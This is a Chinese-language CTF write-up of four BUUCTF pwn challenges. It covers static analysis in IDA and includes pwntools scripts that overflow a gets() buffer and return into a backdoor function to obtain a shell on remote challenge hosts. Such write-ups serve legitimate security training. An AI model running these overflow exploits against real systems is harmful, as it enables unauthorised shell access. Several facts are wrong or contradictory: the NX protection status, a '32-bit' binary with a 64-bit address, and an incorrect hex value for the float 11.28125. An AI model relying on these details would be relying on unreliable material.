1.test_your_nc
我们首先启动靶机
下载文件后放入ida进行静态分析
点击/bin/sh,点击command,再点击x发现在main函数中
点击main,再点击f5发现main函数里只有system,直接nc得到flag
2.
- 启动靶机下载文件后,先放入checkec进行检测
- 我们发现他是一个64位程序,开启了栈不可执行保护,但没有打开NX防护,这说明堆栈可执行,no pie
- 所以推测为栈溢出漏洞,于是用ida进行分析
和上题一样,我们点击/bin/sh,点击command,再点击x,发现在fun函数中
f5看到fun函数,发现system,接下来我们要想办法触发fun函数
那么我们要知道
- get函数
gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag
因此我们编写一个exploit来获取flag
具体框架如下
> from pwn import* //pwntools函数导入
sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号
#sh = process('./pwn1') //本地调试
payload = b'a'*23+p64(0x40118A) //输入payload来进行操作以拿到程序的shell
sh.sendline(payload)
//sendline() - 发送带回车符的字符串
//sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符.
sh.interactive() //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器
之后我们运行exp,得到flag
3.warmup_csaw_2016
我们先检查文件发现是64位,所以我们放入ida64
后门函数中运行的地址为0x000400611
main函数中字符分配到的地址是40到80
我们编写一个exp文件
from pwn import *
p=remote("node4.buuoj.cn",25851)
payload=b'a'*(0x40+8)+p64(0x400611+1)
p.sendline(payload)
p.interactive()
使用pwn工具
就会直接出现flag
4.ciscn_2019_n_1
程序经过分析后我们发现是32位程序并且只开启了NX保护,我们放人ida进行静态分析
和前两题的步骤一样,我们发现 地址在函数func()里
我们打开后门函数记下函数地址0x400676
f5发现里面含有system("cat/flag")语句,其作用为输出flag文件信息
经过转换后可以得到11.28125对应的十六进制为0x4134800
也可以在ida中查看得到
最后编写exp并运行得到flag
以上!